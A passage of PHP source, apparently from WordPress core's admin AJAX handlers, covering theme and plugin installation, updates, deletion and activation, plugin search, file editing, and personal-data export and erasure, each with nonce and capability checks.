$skin = new WP_Ajax_Upgrader_Skin();
$upgrader = new Theme_Upgrader( $skin );
$result = $upgrader->install( $api->download_link );
if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
$status['debug'] = $skin->get_upgrade_messages();
}
if ( is_wp_error( $result ) ) {
$status['errorCode'] = $result->get_error_code();
$status['errorMessage'] = $result->get_error_message();
wp_send_json_error( $status );
} elseif ( is_wp_error( $skin->result ) ) {
$status['errorCode'] = $skin->result->get_error_code();
$status['errorMessage'] = $skin->result->get_error_message();
wp_send_json_error( $status );
} elseif ( $skin->get_errors()->has_errors() ) {
$status['errorMessage'] = $skin->get_error_messages();
wp_send_json_error( $status );
} elseif ( is_null( $result ) ) {
global $wp_filesystem;
$status['errorCode'] = 'unable_to_connect_to_filesystem';
$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );
// Pass through the error from WP_Filesystem if one was raised.
if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
}
wp_send_json_error( $status );
}
$status['themeName'] = wp_get_theme( $slug )->get( 'Name' );
if ( current_user_can( 'switch_themes' ) ) {
if ( is_multisite() ) {
$status['activateUrl'] = add_query_arg(
array(
'action' => 'enable',
'_wpnonce' => wp_create_nonce( 'enable-theme_' . $slug ),
'theme' => $slug,
),
network_admin_url( 'themes.php' )
);
} else {
$status['activateUrl'] = add_query_arg(
array(
'action' => 'activate',
'_wpnonce' => wp_create_nonce( 'switch-theme_' . $slug ),
'stylesheet' => $slug,
),
admin_url( 'themes.php' )
);
}
}
$theme = wp_get_theme( $slug );
$status['blockTheme'] = $theme->is_block_theme();
if ( ! is_multisite() && current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
$status['customizeUrl'] = add_query_arg(
array(
'return' => urlencode( network_admin_url( 'theme-install.php', 'relative' ) ),
),
wp_customize_url( $slug )
);
}
/*
* See WP_Theme_Install_List_Table::_get_theme_status() if we wanted to check
* on post-installation status.
*/
wp_send_json_success( $status );
}
/**
* Handles updating a theme via AJAX.
*
* @since 4.6.0
*
* @see Theme_Upgrader
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*/
function wp_ajax_update_theme() {
check_ajax_referer( 'updates' );
if ( empty( $_POST['slug'] ) ) {
wp_send_json_error(
array(
'slug' => '',
'errorCode' => 'no_theme_specified',
'errorMessage' => __( 'No theme specified.' ),
)
);
}
$stylesheet = preg_replace( '/[^A-z0-9_\-]/', '', wp_unslash( $_POST['slug'] ) );
$status = array(
'update' => 'theme',
'slug' => $stylesheet,
'oldVersion' => '',
'newVersion' => '',
);
if ( ! current_user_can( 'update_themes' ) ) {
$status['errorMessage'] = __( 'Sorry, you are not allowed to update themes for this site.' );
wp_send_json_error( $status );
}
$theme = wp_get_theme( $stylesheet );
if ( $theme->exists() ) {
$status['oldVersion'] = $theme->get( 'Version' );
}
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
$current = get_site_transient( 'update_themes' );
if ( empty( $current ) ) {
wp_update_themes();
}
$skin = new WP_Ajax_Upgrader_Skin();
$upgrader = new Theme_Upgrader( $skin );
$result = $upgrader->bulk_upgrade( array( $stylesheet ) );
if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
$status['debug'] = $skin->get_upgrade_messages();
}
if ( is_wp_error( $skin->result ) ) {
$status['errorCode'] = $skin->result->get_error_code();
$status['errorMessage'] = $skin->result->get_error_message();
wp_send_json_error( $status );
} elseif ( $skin->get_errors()->has_errors() ) {
$status['errorMessage'] = $skin->get_error_messages();
wp_send_json_error( $status );
} elseif ( is_array( $result ) && ! empty( $result[ $stylesheet ] ) ) {
// Theme is already at the latest version.
if ( true === $result[ $stylesheet ] ) {
$status['errorMessage'] = $upgrader->strings['up_to_date'];
wp_send_json_error( $status );
}
$theme = wp_get_theme( $stylesheet );
if ( $theme->exists() ) {
$status['newVersion'] = $theme->get( 'Version' );
}
wp_send_json_success( $status );
} elseif ( false === $result ) {
global $wp_filesystem;
$status['errorCode'] = 'unable_to_connect_to_filesystem';
$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );
// Pass through the error from WP_Filesystem if one was raised.
if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
}
wp_send_json_error( $status );
}
// An unhandled error occurred.
$status['errorMessage'] = __( 'Theme update failed.' );
wp_send_json_error( $status );
}
/**
* Handles deleting a theme via AJAX.
*
* @since 4.6.0
*
* @see delete_theme()
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*/
function wp_ajax_delete_theme() {
check_ajax_referer( 'updates' );
if ( empty( $_POST['slug'] ) ) {
wp_send_json_error(
array(
'slug' => '',
'errorCode' => 'no_theme_specified',
'errorMessage' => __( 'No theme specified.' ),
)
);
}
$stylesheet = preg_replace( '/[^A-z0-9_\-]/', '', wp_unslash( $_POST['slug'] ) );
$status = array(
'delete' => 'theme',
'slug' => $stylesheet,
);
if ( ! current_user_can( 'delete_themes' ) ) {
$status['errorMessage'] = __( 'Sorry, you are not allowed to delete themes on this site.' );
wp_send_json_error( $status );
}
if ( ! wp_get_theme( $stylesheet )->exists() ) {
$status['errorMessage'] = __( 'The requested theme does not exist.' );
wp_send_json_error( $status );
}
// Check filesystem credentials. `delete_theme()` will bail otherwise.
$url = wp_nonce_url( 'themes.php?action=delete&stylesheet=' . urlencode( $stylesheet ), 'delete-theme_' . $stylesheet );
ob_start();
$credentials = request_filesystem_credentials( $url );
ob_end_clean();
if ( false === $credentials || ! WP_Filesystem( $credentials ) ) {
global $wp_filesystem;
$status['errorCode'] = 'unable_to_connect_to_filesystem';
$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );
// Pass through the error from WP_Filesystem if one was raised.
if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
}
wp_send_json_error( $status );
}
require_once ABSPATH . 'wp-admin/includes/theme.php';
$result = delete_theme( $stylesheet );
if ( is_wp_error( $result ) ) {
$status['errorMessage'] = $result->get_error_message();
wp_send_json_error( $status );
} elseif ( false === $result ) {
$status['errorMessage'] = __( 'Theme could not be deleted.' );
wp_send_json_error( $status );
}
wp_send_json_success( $status );
}
/**
* Handles installing a plugin via AJAX.
*
* @since 4.6.0
*
* @see Plugin_Upgrader
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*/
function wp_ajax_install_plugin() {
check_ajax_referer( 'updates' );
if ( empty( $_POST['slug'] ) ) {
wp_send_json_error(
array(
'slug' => '',
'errorCode' => 'no_plugin_specified',
'errorMessage' => __( 'No plugin specified.' ),
)
);
}
$status = array(
'install' => 'plugin',
'slug' => sanitize_key( wp_unslash( $_POST['slug'] ) ),
);
if ( ! current_user_can( 'install_plugins' ) ) {
$status['errorMessage'] = __( 'Sorry, you are not allowed to install plugins on this site.' );
wp_send_json_error( $status );
}
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
$api = plugins_api(
'plugin_information',
array(
'slug' => sanitize_key( wp_unslash( $_POST['slug'] ) ),
'fields' => array(
'sections' => false,
),
)
);
if ( is_wp_error( $api ) ) {
$status['errorMessage'] = $api->get_error_message();
wp_send_json_error( $status );
}
$status['pluginName'] = $api->name;
$skin = new WP_Ajax_Upgrader_Skin();
$upgrader = new Plugin_Upgrader( $skin );
$result = $upgrader->install( $api->download_link );
if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
$status['debug'] = $skin->get_upgrade_messages();
}
if ( is_wp_error( $result ) ) {
$status['errorCode'] = $result->get_error_code();
$status['errorMessage'] = $result->get_error_message();
wp_send_json_error( $status );
} elseif ( is_wp_error( $skin->result ) ) {
$status['errorCode'] = $skin->result->get_error_code();
$status['errorMessage'] = $skin->result->get_error_message();
wp_send_json_error( $status );
} elseif ( $skin->get_errors()->has_errors() ) {
$status['errorMessage'] = $skin->get_error_messages();
wp_send_json_error( $status );
} elseif ( is_null( $result ) ) {
global $wp_filesystem;
$status['errorCode'] = 'unable_to_connect_to_filesystem';
$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );
// Pass through the error from WP_Filesystem if one was raised.
if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
}
wp_send_json_error( $status );
}
$install_status = install_plugin_install_status( $api );
$pagenow = isset( $_POST['pagenow'] ) ? sanitize_key( $_POST['pagenow'] ) : '';
// If installation request is coming from import page, do not return network activation link.
$plugins_url = ( 'import' === $pagenow ) ? admin_url( 'plugins.php' ) : network_admin_url( 'plugins.php' );
if ( current_user_can( 'activate_plugin', $install_status['file'] ) && is_plugin_inactive( $install_status['file'] ) ) {
$status['activateUrl'] = add_query_arg(
array(
'_wpnonce' => wp_create_nonce( 'activate-plugin_' . $install_status['file'] ),
'action' => 'activate',
'plugin' => $install_status['file'],
),
$plugins_url
);
}
if ( is_multisite() && current_user_can( 'manage_network_plugins' ) && 'import' !== $pagenow ) {
$status['activateUrl'] = add_query_arg( array( 'networkwide' => 1 ), $status['activateUrl'] );
}
wp_send_json_success( $status );
}
/**
* Handles activating a plugin via AJAX.
*
* @since 6.5.0
*/
function wp_ajax_activate_plugin() {
check_ajax_referer( 'updates' );
if ( empty( $_POST['name'] ) || empty( $_POST['slug'] ) || empty( $_POST['plugin'] ) ) {
wp_send_json_error(
array(
'slug' => '',
'pluginName' => '',
'plugin' => '',
'errorCode' => 'no_plugin_specified',
'errorMessage' => __( 'No plugin specified.' ),
)
);
}
$status = array(
'activate' => 'plugin',
'slug' => wp_unslash( $_POST['slug'] ),
'pluginName' => wp_unslash( $_POST['name'] ),
'plugin' => wp_unslash( $_POST['plugin'] ),
);
if ( ! current_user_can( 'activate_plugin', $status['plugin'] ) ) {
$status['errorMessage'] = __( 'Sorry, you are not allowed to activate plugins on this site.' );
wp_send_json_error( $status );
}
if ( is_plugin_active( $status['plugin'] ) ) {
$status['errorMessage'] = sprintf(
/* translators: %s: Plugin name. */
__( '%s is already active.' ),
$status['pluginName']
);
}
$activated = activate_plugin( $status['plugin'] );
if ( is_wp_error( $activated ) ) {
$status['errorMessage'] = $activated->get_error_message();
wp_send_json_error( $status );
}
wp_send_json_success( $status );
}
/**
* Handles updating a plugin via AJAX.
*
* @since 4.2.0
*
* @see Plugin_Upgrader
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*/
function wp_ajax_update_plugin() {
check_ajax_referer( 'updates' );
if ( empty( $_POST['plugin'] ) || empty( $_POST['slug'] ) ) {
wp_send_json_error(
array(
'slug' => '',
'errorCode' => 'no_plugin_specified',
'errorMessage' => __( 'No plugin specified.' ),
)
);
}
$plugin = plugin_basename( sanitize_text_field( wp_unslash( $_POST['plugin'] ) ) );
$status = array(
'update' => 'plugin',
'slug' => sanitize_key( wp_unslash( $_POST['slug'] ) ),
'oldVersion' => '',
'newVersion' => '',
);
if ( ! current_user_can( 'update_plugins' ) || 0 !== validate_file( $plugin ) ) {
$status['errorMessage'] = __( 'Sorry, you are not allowed to update plugins for this site.' );
wp_send_json_error( $status );
}
$plugin_data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
$status['plugin'] = $plugin;
$status['pluginName'] = $plugin_data['Name'];
if ( $plugin_data['Version'] ) {
/* translators: %s: Plugin version. */
$status['oldVersion'] = sprintf( __( 'Version %s' ), $plugin_data['Version'] );
}
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
wp_update_plugins();
$skin = new WP_Ajax_Upgrader_Skin();
$upgrader = new Plugin_Upgrader( $skin );
$result = $upgrader->bulk_upgrade( array( $plugin ) );
if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
$status['debug'] = $skin->get_upgrade_messages();
}
if ( is_wp_error( $skin->result ) ) {
$status['errorCode'] = $skin->result->get_error_code();
$status['errorMessage'] = $skin->result->get_error_message();
wp_send_json_error( $status );
} elseif ( $skin->get_errors()->has_errors() ) {
$status['errorMessage'] = $skin->get_error_messages();
wp_send_json_error( $status );
} elseif ( is_array( $result ) && ! empty( $result[ $plugin ] ) ) {
/*
* Plugin is already at the latest version.
*
* This may also be the return value if the `update_plugins` site transient is empty,
* e.g. when you update two plugins in quick succession before the transient repopulates.
*
* Preferably something can be done to ensure `update_plugins` isn't empty.
* For now, surface some sort of error here.
*/
if ( true === $result[ $plugin ] ) {
$status['errorMessage'] = $upgrader->strings['up_to_date'];
wp_send_json_error( $status );
}
$plugin_data = get_plugins( '/' . $result[ $plugin ]['destination_name'] );
$plugin_data = reset( $plugin_data );
if ( $plugin_data['Version'] ) {
/* translators: %s: Plugin version. */
$status['newVersion'] = sprintf( __( 'Version %s' ), $plugin_data['Version'] );
}
wp_send_json_success( $status );
} elseif ( false === $result ) {
global $wp_filesystem;
$status['errorCode'] = 'unable_to_connect_to_filesystem';
$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );
// Pass through the error from WP_Filesystem if one was raised.
if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
}
wp_send_json_error( $status );
}
// An unhandled error occurred.
$status['errorMessage'] = __( 'Plugin update failed.' );
wp_send_json_error( $status );
}
/**
* Handles deleting a plugin via AJAX.
*
* @since 4.6.0
*
* @see delete_plugins()
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*/
function wp_ajax_delete_plugin() {
check_ajax_referer( 'updates' );
if ( empty( $_POST['slug'] ) || empty( $_POST['plugin'] ) ) {
wp_send_json_error(
array(
'slug' => '',
'errorCode' => 'no_plugin_specified',
'errorMessage' => __( 'No plugin specified.' ),
)
);
}
$plugin = plugin_basename( sanitize_text_field( wp_unslash( $_POST['plugin'] ) ) );
$status = array(
'delete' => 'plugin',
'slug' => sanitize_key( wp_unslash( $_POST['slug'] ) ),
);
if ( ! current_user_can( 'delete_plugins' ) || 0 !== validate_file( $plugin ) ) {
$status['errorMessage'] = __( 'Sorry, you are not allowed to delete plugins for this site.' );
wp_send_json_error( $status );
}
$plugin_data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
$status['plugin'] = $plugin;
$status['pluginName'] = $plugin_data['Name'];
if ( is_plugin_active( $plugin ) ) {
$status['errorMessage'] = __( 'You cannot delete a plugin while it is active on the main site.' );
wp_send_json_error( $status );
}
// Check filesystem credentials. `delete_plugins()` will bail otherwise.
$url = wp_nonce_url( 'plugins.php?action=delete-selected&verify-delete=1&checked[]=' . $plugin, 'bulk-plugins' );
ob_start();
$credentials = request_filesystem_credentials( $url );
ob_end_clean();
if ( false === $credentials || ! WP_Filesystem( $credentials ) ) {
global $wp_filesystem;
$status['errorCode'] = 'unable_to_connect_to_filesystem';
$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );
// Pass through the error from WP_Filesystem if one was raised.
if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
}
wp_send_json_error( $status );
}
$result = delete_plugins( array( $plugin ) );
if ( is_wp_error( $result ) ) {
$status['errorMessage'] = $result->get_error_message();
wp_send_json_error( $status );
} elseif ( false === $result ) {
$status['errorMessage'] = __( 'Plugin could not be deleted.' );
wp_send_json_error( $status );
}
wp_send_json_success( $status );
}
/**
* Handles searching plugins via AJAX.
*
* @since 4.6.0
*
* @global string $s Search term.
*/
function wp_ajax_search_plugins() {
check_ajax_referer( 'updates' );
// Ensure after_plugin_row_{$plugin_file} gets hooked.
wp_plugin_update_rows();
$pagenow = isset( $_POST['pagenow'] ) ? sanitize_key( $_POST['pagenow'] ) : '';
if ( 'plugins-network' === $pagenow || 'plugins' === $pagenow ) {
set_current_screen( $pagenow );
}
/** @var WP_Plugins_List_Table $wp_list_table */
$wp_list_table = _get_list_table(
'WP_Plugins_List_Table',
array(
'screen' => get_current_screen(),
)
);
$status = array();
if ( ! $wp_list_table->ajax_user_can() ) {
$status['errorMessage'] = __( 'Sorry, you are not allowed to manage plugins for this site.' );
wp_send_json_error( $status );
}
// Set the correct requester, so pagination works.
$_SERVER['REQUEST_URI'] = add_query_arg(
array_diff_key(
$_POST,
array(
'_ajax_nonce' => null,
'action' => null,
)
),
network_admin_url( 'plugins.php', 'relative' )
);
$GLOBALS['s'] = wp_unslash( $_POST['s'] );
$wp_list_table->prepare_items();
ob_start();
$wp_list_table->display();
$status['count'] = count( $wp_list_table->items );
$status['items'] = ob_get_clean();
wp_send_json_success( $status );
}
/**
* Handles searching plugins to install via AJAX.
*
* @since 4.6.0
*/
function wp_ajax_search_install_plugins() {
check_ajax_referer( 'updates' );
$pagenow = isset( $_POST['pagenow'] ) ? sanitize_key( $_POST['pagenow'] ) : '';
if ( 'plugin-install-network' === $pagenow || 'plugin-install' === $pagenow ) {
set_current_screen( $pagenow );
}
/** @var WP_Plugin_Install_List_Table $wp_list_table */
$wp_list_table = _get_list_table(
'WP_Plugin_Install_List_Table',
array(
'screen' => get_current_screen(),
)
);
$status = array();
if ( ! $wp_list_table->ajax_user_can() ) {
$status['errorMessage'] = __( 'Sorry, you are not allowed to manage plugins for this site.' );
wp_send_json_error( $status );
}
// Set the correct requester, so pagination works.
$_SERVER['REQUEST_URI'] = add_query_arg(
array_diff_key(
$_POST,
array(
'_ajax_nonce' => null,
'action' => null,
)
),
network_admin_url( 'plugin-install.php', 'relative' )
);
$wp_list_table->prepare_items();
ob_start();
$wp_list_table->display();
$status['count'] = (int) $wp_list_table->get_pagination_arg( 'total_items' );
$status['items'] = ob_get_clean();
wp_send_json_success( $status );
}
/**
* Handles editing a theme or plugin file via AJAX.
*
* @since 4.9.0
*
* @see wp_edit_theme_plugin_file()
*/
function wp_ajax_edit_theme_plugin_file() {
$r = wp_edit_theme_plugin_file( wp_unslash( $_POST ) ); // Validation of args is done in wp_edit_theme_plugin_file().
if ( is_wp_error( $r ) ) {
wp_send_json_error(
array_merge(
array(
'code' => $r->get_error_code(),
'message' => $r->get_error_message(),
),
(array) $r->get_error_data()
)
);
} else {
wp_send_json_success(
array(
'message' => __( 'File edited successfully.' ),
)
);
}
}
/**
* Handles exporting a user's personal data via AJAX.
*
* @since 4.9.6
*/
function wp_ajax_wp_privacy_export_personal_data() {
if ( empty( $_POST['id'] ) ) {
wp_send_json_error( __( 'Missing request ID.' ) );
}
$request_id = (int) $_POST['id'];
if ( $request_id < 1 ) {
wp_send_json_error( __( 'Invalid request ID.' ) );
}
if ( ! current_user_can( 'export_others_personal_data' ) ) {
wp_send_json_error( __( 'Sorry, you are not allowed to perform this action.' ) );
}
check_ajax_referer( 'wp-privacy-export-personal-data-' . $request_id, 'security' );
// Get the request.
$request = wp_get_user_request( $request_id );
if ( ! $request || 'export_personal_data' !== $request->action_name ) {
wp_send_json_error( __( 'Invalid request type.' ) );
}
$email_address = $request->email;
if ( ! is_email( $email_address ) ) {
wp_send_json_error( __( 'A valid email address must be given.' ) );
}
if ( ! isset( $_POST['exporter'] ) ) {
wp_send_json_error( __( 'Missing exporter index.' ) );
}
$exporter_index = (int) $_POST['exporter'];
if ( ! isset( $_POST['page'] ) ) {
wp_send_json_error( __( 'Missing page index.' ) );
}
$page = (int) $_POST['page'];
$send_as_email = isset( $_POST['sendAsEmail'] ) ? ( 'true' === $_POST['sendAsEmail'] ) : false;
/**
* Filters the array of exporter callbacks.
*
* @since 4.9.6
*
* @param array $args {
* An array of callable exporters of personal data. Default empty array.
*
* @type array ...$0 {
* Array of personal data exporters.
*
* @type callable $callback Callable exporter function that accepts an
* email address and a page number and returns an
* array of name => value pairs of personal data.
* @type string $exporter_friendly_name Translated user facing friendly name for the
* exporter.
* }
* }
*/
$exporters = apply_filters( 'wp_privacy_personal_data_exporters', array() );
if ( ! is_array( $exporters ) ) {
wp_send_json_error( __( 'An exporter has improperly used the registration filter.' ) );
}
// Do we have any registered exporters?
if ( 0 < count( $exporters ) ) {
if ( $exporter_index < 1 ) {
wp_send_json_error( __( 'Exporter index cannot be negative.' ) );
}
if ( $exporter_index > count( $exporters ) ) {
wp_send_json_error( __( 'Exporter index is out of range.' ) );
}
if ( $page < 1 ) {
wp_send_json_error( __( 'Page index cannot be less than one.' ) );
}
$exporter_keys = array_keys( $exporters );
$exporter_key = $exporter_keys[ $exporter_index - 1 ];
$exporter = $exporters[ $exporter_key ];
if ( ! is_array( $exporter ) ) {
wp_send_json_error(
/* translators: %s: Exporter array index. */
sprintf( __( 'Expected an array describing the exporter at index %s.' ), $exporter_key )
);
}
if ( ! array_key_exists( 'exporter_friendly_name', $exporter ) ) {
wp_send_json_error(
/* translators: %s: Exporter array index. */
sprintf( __( 'Exporter array at index %s does not include a friendly name.' ), $exporter_key )
);
}
$exporter_friendly_name = $exporter['exporter_friendly_name'];
if ( ! array_key_exists( 'callback', $exporter ) ) {
wp_send_json_error(
/* translators: %s: Exporter friendly name. */
sprintf( __( 'Exporter does not include a callback: %s.' ), esc_html( $exporter_friendly_name ) )
);
}
if ( ! is_callable( $exporter['callback'] ) ) {
wp_send_json_error(
/* translators: %s: Exporter friendly name. */
sprintf( __( 'Exporter callback is not a valid callback: %s.' ), esc_html( $exporter_friendly_name ) )
);
}
$callback = $exporter['callback'];
$response = call_user_func( $callback, $email_address, $page );
if ( is_wp_error( $response ) ) {
wp_send_json_error( $response );
}
if ( ! is_array( $response ) ) {
wp_send_json_error(
/* translators: %s: Exporter friendly name. */
sprintf( __( 'Expected response as an array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
);
}
if ( ! array_key_exists( 'data', $response ) ) {
wp_send_json_error(
/* translators: %s: Exporter friendly name. */
sprintf( __( 'Expected data in response array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
);
}
if ( ! is_array( $response['data'] ) ) {
wp_send_json_error(
/* translators: %s: Exporter friendly name. */
sprintf( __( 'Expected data array in response array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
);
}
if ( ! array_key_exists( 'done', $response ) ) {
wp_send_json_error(
/* translators: %s: Exporter friendly name. */
sprintf( __( 'Expected done (boolean) in response array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
);
}
} else {
// No exporters, so we're done.
$exporter_key = '';
$response = array(
'data' => array(),
'done' => true,
);
}
/**
* Filters a page of personal data exporter data. Used to build the export report.
*
* Allows the export response to be consumed by destinations in addition to Ajax.
*
* @since 4.9.6
*
* @param array $response The personal data for the given exporter and page number.
* @param int $exporter_index The index of the exporter that provided this data.
* @param string $email_address The email address associated with this personal data.
* @param int $page The page number for this response.
* @param int $request_id The privacy request post ID associated with this request.
* @param bool $send_as_email Whether the final results of the export should be emailed to the user.
* @param string $exporter_key The key (slug) of the exporter that provided this data.
*/
$response = apply_filters( 'wp_privacy_personal_data_export_page', $response, $exporter_index, $email_address, $page, $request_id, $send_as_email, $exporter_key );
if ( is_wp_error( $response ) ) {
wp_send_json_error( $response );
}
wp_send_json_success( $response );
}
/**
* Handles erasing personal data via AJAX.
*
* @since 4.9.6
*/
function wp_ajax_wp_privacy_erase_personal_data() {
if ( empty( $_POST['id'] ) ) {
wp_send_json_error( __( 'Missing request ID.' ) );
}
$request_id = (int) $_POST['id'];
if ( $request_id < 1 ) {
wp_send_json_error( __( 'Invalid request ID.' ) );
}
// Both capabilities are required to avoid confusion, see `_wp_personal_data_removal_page()`.
if ( ! current_user_can( 'erase_others_personal_data' ) || ! current_user_can( 'delete_users' ) ) {
wp_send_json_error( __( 'Sorry, you are not allowed to perform this action.' ) );
}
check_ajax_referer( 'wp-privacy-erase-personal-data-' . $request_id, 'security' );
// Get the request.
$request = wp_get_user_request( $request_id );
if ( ! $request || 'remove_personal_data' !== $request->action_name ) {
wp_send_json_error( __( 'Invalid request type.' ) );
}
$email_address = $request->email;
if ( ! is_email( $email_address ) ) {
wp_send_json_error( __( 'Invalid email address in request.' ) );
}
if ( ! isset( $_POST['eraser'] ) ) {
wp_send_json_error( __( 'Missing eraser index.' ) );
}
$eraser_index = (int) $_POST['eraser'];
if ( ! isset( $_POST['page'] ) ) {
wp_send_json_error( __( 'Missing page index.' ) );
}
$page = (int) $_POST['page'];
/**
* Filters the array of personal data eraser callbacks.
*
* @since 4.9.6
*
* @param array $args {
* An array of callable erasers of personal data. Default empty array.
*
* @type array ...$0 {
* Array of personal data exporters.
*
* @type callable $callback Callable eraser that accepts an email address and a page
* number, and returns an array with boolean values for
* whether items were removed or retained and any messages
* from the eraser, as well as if additional pages are
* available.
* @type string $exporter_friendly_name Translated user facing friendly name for the eraser.
* }
* }
*/
$erasers = apply_filters( 'wp_privacy_personal_data_erasers', array() );
// Do we have any registered erasers?
if ( 0 < count( $erasers ) ) {
if ( $eraser_index < 1 ) {
wp_send_json_error( __( 'Eraser index cannot be less than one.' ) );
}
if ( $eraser_index > count( $erasers ) ) {
wp_send_json_error( __( 'Eraser index is out of range.' ) );
}
if ( $page < 1 ) {
wp_send_json_error( __( 'Page index cannot be less than one.' ) );
}
$eraser_keys = array_keys( $erasers );
$eraser_key = $eraser_keys[ $eraser_index - 1 ];
$eraser = $erasers[ $eraser_key ];
if ( ! is_array( $eraser ) ) {
/* translators: %d: Eraser array index. */
wp_send_json_error( sprintf( __( 'Expected an array describing the eraser at index %d.' ), $eraser_index ) );
}
if ( ! array_key_exists( 'eraser_friendly_name', $eraser ) ) {
/* translators: %d: Eraser array index. */
wp_send_json_error( sprintf( __( 'Eraser array at index %d does not include a friendly name.' ), $eraser_index ) );
}
$eraser_friendly_name = $eraser['eraser_friendly_name'];
if ( ! array_key_exists( 'callback', $eraser ) ) {
wp_send_json_error(
sprintf(
/* translators: %s: Eraser friendly name. */
__( 'Eraser does not include a callback: %s.' ),
esc_html( $eraser_friendly_name )
)
);
}
if ( ! is_callable( $eraser['callback'] ) ) {
wp_send_json_error(
sprintf(
/* translators: %s: Eraser friendly name. */
__( 'Eraser callback is not valid: %s.' ),
esc_html( $eraser_friendly_name )
)
);
}
$callback = $eraser['callback'];
$response = call_user_func( $callback, $email_address, $page );
if ( is_wp_error( $response ) ) {
wp_send_json_error( $response );
}
if ( ! is_array( $response ) ) {
wp_send_json_error(
sprintf(
/* translators: 1: Eraser friendly name, 2: Eraser array index. */
__( 'Did not receive array from %1$s eraser (index %2$d).' ),
esc_html( $eraser_friendly_name ),
$eraser_index
)
);
}
if ( ! array_key_exists( 'items_removed', $response ) ) {
wp_send_json_error(
sprintf(
/* translators: 1: Eraser friendly name, 2: Eraser array index. */
__( 'Expected items_removed key in response array from %1$s eraser (index %2$d).' ),
esc_html( $eraser_friendly_name ),
$eraser_index
)
);
}
if ( ! array_key_exists( 'items_retained', $response ) ) {
wp_send_json_error(
sprintf(
/* translators: 1: Eraser friendly name, 2: Eraser array index. */
__( 'Expected items_retained key in response array from %1$s eraser (index %2$d).' ),
esc_html( $eraser_friendly_name ),
$eraser_index
)
);
}
if ( ! array_key_exists( 'messages', $response ) ) {
wp_send_json_error(
sprintf(
/* translators: 1: Eraser friendly name, 2: Eraser array index. */
__( 'Expected messages key in response array from %1$s eraser (index %2$d).' ),
esc_html( $eraser_friendly_name ),
$eraser_index
)
);
}
if ( ! is_array( $response['messages'] ) ) {
wp_send_json_error(
sprintf(
/* translators: 1: Eraser friendly name, 2: Eraser array index. */
__( 'Expected messages key to reference an array in response array from %1$s eraser (index %2$d).' ),
esc_html( $eraser_friendly_name ),
$eraser_index
)
);
}
if ( ! array_key_exists( 'done', $response ) ) {
wp_send_json_error(
sprintf(
/* translators: 1: Eraser friendly name, 2: Eraser array index. */
__( 'Expected done flag in response array from %1$s eraser (index %2$d).' ),
esc_html( $eraser_friendly_name ),
$eraser_index
)
);
}
} else {
// No erasers, so we're done.
$eraser_key = '';
$response = array(
'items_removed' => false,
'items_retained' => false,
'messages' => array(),
'done' => true,
);
}
/**
* Filters a page of personal data eraser data.
*
* Allows the erasure response to be consumed by destinations in addition to Ajax.
*
* @since 4.9.6
*
* @param array $response {
* The personal data for the given exporter and page number.
*
* @type bool $items_removed Whether items were actually removed or not.
* @type bool $items_retained Whether items were retained or not.
* @type string[] $messages An array of messages to add to the personal data export file.
* @type bool $done Whether the eraser is finished or not.
* }
* @param int $eraser_index The index of the eraser that provided this data.
* @param string $email_address The email address associated with this personal data.
* @param int $page The page number for this response.
* @param int $request_id The privacy request post ID associated with this request.
* @param string $eraser_key The key (slug) of the eraser that provided this data.
*/
$response = apply_filters( 'wp_privacy_personal_data_erasure_page', $response, $eraser_index, $email_address, $page, $request_id, $eraser_key );
if ( is_wp_error( $response ) ) {
wp_send_json_error( $response );
}
wp_send_json_success( $response );
}
/**
* Handles site health checks on server communication via AJAX.
*
* @since 5.2.0
* @deprecated 5.6.0 Use WP_REST_Site_Health_Controller::test_dotorg_communication()
* @see WP_REST_Site_Health_Controller::test_dotorg_communication()
*/
function wp_ajax_health_check_dotorg_communication() {
_doing_it_wrong(
'wp_ajax_health_check_dotorg_communication',
sprintf(
// translators: 1: The Site Health action that is no longer used by core. 2: The new function that replaces it.
